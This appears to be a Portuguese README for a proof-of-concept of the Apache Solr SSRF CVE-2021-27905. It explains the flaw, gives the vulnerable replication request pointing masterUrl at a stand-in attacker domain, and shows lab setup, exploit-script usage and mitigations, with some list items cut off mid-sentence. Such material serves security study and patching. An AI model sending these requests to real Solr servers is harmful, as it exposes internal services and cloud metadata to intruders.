
Apache Solr < 8.8.2 Falsificação de Solicitação no Lado do Servidor
| Nº | Título |
|---|---|
| 1 | Visão Geral |
| 2 | Causa Raiz |
| 3 | Prova de Conceito |
| 4 | Mitigação (8.8.2+) |
| 5 | Referência |
Apenas para fins educacionais e de pesquisa. Não use este código em sistemas que você não possui ou sem permissão explícita para testar. Não sou responsável por qualquer uso indevido.
Esta é uma vulnerabilidade de Server Side Request Forgery (Falsificação de Solicitação no Servidor) que afeta Apache Solr (< 8.8.2) e permite que atacantes remotos façam solicitações HTTP arbitrárias a sistemas internos ou externos por meio do parâmetro masterUrl do gerenciador de replicação, potencialmente expondo serviços internos ou metadados sensíveis da nuvem.
Versões Afetadas : Todas as versões anteriores a 8.8.2 (7.0.0 - 7.7.3, 8.0.0 - 8.8.1)
O mecanismo de replicação no Solr permite que uma "réplica" busque arquivos de índice de um "mestre/líder" especificando um parâmetro masterUrl ou leaderUrl. A URL apontada por esse parâmetro não é validada corretamente nas versões afetadas do Apache Solr. Assim, isso permitiria que atacantes fizessem o servidor acessar um recurso remoto de sua escolha.
Fluxo Vulnerável
/solr/<CORE_NAME>/replication?command=fetchindex&masterUrl=http://<ATTACKER_DOMAIN>
O ReplicationHandler do Solr iria:
masterUrl fornecido para baixar os dados do índice.CONFIGURAÇÃO DO LAB
$ cd lab
$ docker compose up -d
# verify accessibility
$ curl http://127.0.0.1:8983/solr
$ docker compose down
EXPLORAÇÃO
# for windows
$ python -m venv <NAME>
$ .\<NAME>\Scripts\activate
# for linux
$ python3 -m venv <NAME>
$ source ./<NAME>/scripts/activate
$ pip install -r requirements.txt
cve-2021-27905.py$ python3 cve-2021-27905.py --target <TARGET> --payload <SSRF_PAYLOAD>

O ReplicationHandler do Solr foi corrigido para:
masterUrl/leaderUrl apontam apenas para hosts aprovados.http, https)./replication com autenticação ou o removam completamente se não for utilizado.